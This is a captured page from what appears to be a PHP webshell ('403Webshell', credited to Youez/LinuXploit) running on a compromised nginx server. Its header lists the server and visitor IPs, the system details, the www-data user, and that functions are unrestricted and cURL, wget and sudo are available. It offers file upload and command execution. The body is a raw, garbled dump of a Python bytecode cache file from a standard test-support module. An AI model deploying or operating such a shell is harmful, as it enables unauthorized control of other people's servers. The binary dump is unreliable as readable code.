403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.14/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.14/test/support/__pycache__/bytecode_helper.cpython-314.pyc
+
��3j����Rt^RIt^RIt^RIt^RIt^RIt]!4tRt	!RR]P4t!RR]P4t]P!]RJR4!RR	]44t]P!]RJR4!R
R]44t]P!]RJR4!RR
]44tR# ]dRtL�i;i)zGbytecode_helper - support tools for testing correct bytecode generationNc#��"�T;'g\R4pVFQpV\VR43x�VP;'gRF$wr4p\V4Fp\VR4K	K&	KS	R#5i)N�)�iter�next�
cache_info�range)�instrs�co_positions�instr�_�size�is&&    �3/usr/lib/python3.14/test/support/bytecode_helper.py�instructions_with_positionsrsk���
 �+�+�4��8�L����T�,��+�+�+� �+�+�1�1�r�1�J�A�Q��4�[���\�2�&�!�2��s�=A1�1A1c�Ba�]tRt^toRtRt]3Rlt]3RltRt	Vt
R#)�BytecodeTestCasez1Custom assertion methods for inspecting bytecode.c�z�\P!4p\P!WR7VP4#))�file)�io�StringIO�dis�getvalue)�self�co�ss&& r�get_disassembly_as_string�*BytecodeTestCase.get_disassembly_as_strings%���K�K�M��������z�z�|��c�h�VPV\P4\P!V4F5pVPV8XgKV\
JgVPV8XgK3Vu#	VPV4pV\
JdV:RV:2pMRpWbW53,pVPV4R#)zAReturns instr if opname is found, otherwise throws AssertionErrorz not found in bytecode:
z!(%s,%r) not found in bytecode:
%sN)	�assertInr�opmap�get_instructions�opname�_UNSPECIFIED�argvalr�fail�r�xr"r$r
�disassembly�msgs&&&&   r�assertInBytecode�!BytecodeTestCase.assertInBytecode"s����
�
�f�c�i�i�(��)�)�!�,�E��|�|�v�%��\�)�U�\�\�V�-C� �L�-��4�4�Q�7���\�!�5;�[�I�C�6�C���5�5�C��	�	�#�rc�t�VPV\P4\P!V4F}pVPV8XgKVPV4pV\JdV:RV:2pVPV4KMVPV8XgK`RpWbW53,pVPV4K	R#)z(Throws AssertionError if opname is foundz occurs in bytecode:
z(%s,%r) occurs in bytecode:
%sN)	rrr r!r"rr#r%r$r&s&&&&   r�assertNotInBytecode�$BytecodeTestCase.assertNotInBytecode1s����
�
�f�c�i�i�(��)�)�!�,�E��|�|�v�%�"�<�<�Q�?���\�)�:@�+�N�C��I�I�c�N��\�\�V�+�;�C��� =�=�C��I�I�c�N�-rrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr#r*r-�__static_attributes__�__classdictcell__��
__classdict__s@rrrs'����;��
2>�
�5A�#�#rrc�a�]tRt^?to]!]P4t]!]P]P,]P,4t]P]4t
!RR4tRtRtRtRtRtVtR#)	�CompilationStepTestCasec��]tRt^EtRtR#)�CompilationStepTestCase.LabelrN)r/r0r1r2r4rrr�Labelr;Es��rr<c�X�VPV\4VP4pVPV4P4pVP	\V4\V44\
W24F�wrE\V\4'dVP	WT4K.VPV\4VPV\4\\V4Uu.uFqf^,R8wgKV^,NK	up4pVP	VRVVRV4K�	R#uupi)�N���)�assertIsInstance�listr!�seq_from_insts�assertEqual�len�zip�
isinstance�int�tuple�max�	enumerate)r�
actual_seq�expected�actual�act�exp�p�idxs&&&     r�assertInstructionsMatch�/CompilationStepTestCase.assertInstructionsMatchHs���
	
���h��-��,�,�.���&�&�x�0�A�A�C������V��c�(�m�4��F�-�H�C��#�s�#�#�� � ��*���!�!�#�u�-��!�!�#�u�-��Y�s�^�B�^���t�r�z�t�q��t�t�^�B�C�C����S��#�Y��D�S�	�2�.��Cs�!D'
�5
D'
c���^p.pVFcp\W@P\34'gQh\W@P4'd	W$nKIV^,
pVP	V4Ke	V#��)rFr<rH�value�append)r�instsrQ�res�items&&   r�resolveAndRemoveLabels�.CompilationStepTestCase.resolveAndRemoveLabels\s`�������D��d�Z�Z��$7�8�8�8�8��$�
�
�+�+� �
��q����
�
�4� �
��
rc��VUu0uF"p\W P4'gK VkK$	pp\V4FwrEWEnK
	\P
!4pVF�p\W P4'dVP
VP4K;V^,p\V\4'd\PV,pVR,vr�\W�P4'd
VPpV	R.^\V	4,
,,p	VP!Yx;'g^.V	O5!K�	V#uupi)rV:r>NNr?)rFr<rJrW�_testinternalcapi�new_instruction_sequence�	use_label�str�opcoder rD�addop)
rrYr[�labelsr
�lbl�seq�op�arg�locs
&&        rrB�&CompilationStepTestCase.seq_from_instsis���#(�I�5�4�J�t�Z�Z�,H�$�$�5��I���'�F�A��I�(� �8�8�:���D��$�
�
�+�+��
�
�d�j�j�)��!�W���b�#�&�&����b�)�B� ��H�	���c�:�:�.�.��)�)�C��R�D�A��C��L�1�1���	�	�"�h�h�Q�-��-���
��#Js
�E�Ec	��VF�p\W P4'dK Vvr4p\V\4'd\PV,pVPV\P9VRJR\PV,:RV:24TP\;QJdRV4F'dKRM	RM
!RV444K�	R#)Nzopcode.opname[op]=z arg=c3�B"�TFp\V\4x�K	R#5i�N)rFrG)�.0�ls& r�	<genexpr>�=CompilationStepTestCase.check_instructions.<locals>.<genexpr>�s���@�C�q�
�1�c� 2� 2�C�s�FT)
rFr<rbrcr rC�hasargr"�
assertTrue�all)rrY�instrhrirjs&&    r�check_instructions�*CompilationStepTestCase.check_instructions}s����D��$�
�
�+�+�� �M�B�c��"�c�"�"��\�\�"�%�����R�6�=�=�0� ��_� 2��
�
�b� 1�3�6�S�F�;�
=�
�O�O�C�C�@�C�@�C�C�C�@�C�@�@�A�rrN)r/r0r1r2�setrrs�HAS_ARG�hasjrel�hasjabs�hasexc�
HAS_TARGET�union�HAS_ARG_OR_TARGETr<rRr\rBrwr4r5r6s@rr9r9?sf�����#�*�*�o�G��S�[�[�3�;�;�.����;�<�J��
�
�j�1��
�
�3�(��(
B�
Brr9zrequires _testinternalcapic�&a�]tRt^�toRtRtVtR#)�CodegenTestCasec�:�\P!VR^4wr#V#)z
my_file.py)r_�compiler_codegen)r�astrYrs&&  r�
generate_code�CodegenTestCase.generate_code�s��$�5�5�c�<��K����rrN)r/r0r1r2r�r4r5r6s@rr�r��s�����rr�c�*a�]tRt^�toRRltRtVtR#)�CfgOptimizationTestCasec�6�\P!WV4pWB3#rn)r_�optimize_cfg)rrg�consts�nlocalsrYs&&&& r�
get_optimized�%CfgOptimizationTestCase.get_optimized�s��!�.�.�s�G�D���}�rrNrU)r/r0r1r2r�r4r5r6s@rr�r��s�����rr�c�&a�]tRt^�toRtRtVtR#)�AssemblerTestCasec�4�\P!WV4pV#rn)r_�assemble_code_object)r�filenamerY�metadatars&&&& r�get_code_object�!AssemblerTestCase.get_code_object�s��
�
3�
3�H�X�
N���	rrN)r/r0r1r2r�r4r5r6s@rr�r��s�����rr�)r3�unittestrrrcr_�ImportError�objectr#r�TestCaserr9�skipIfr�r�r�rrr�<module>r�s���M��
�	�
����x��
'�##�x�(�(�##�JHB�h�/�/�HB�V
���"�d�*�,H�I��-��J��
���"�d�*�,H�I��5��J��
���"�d�*�,H�I��/��J���c�����s�B7�7	C�C

Youez - 2016 - github.com/yon3zu
LinuXploit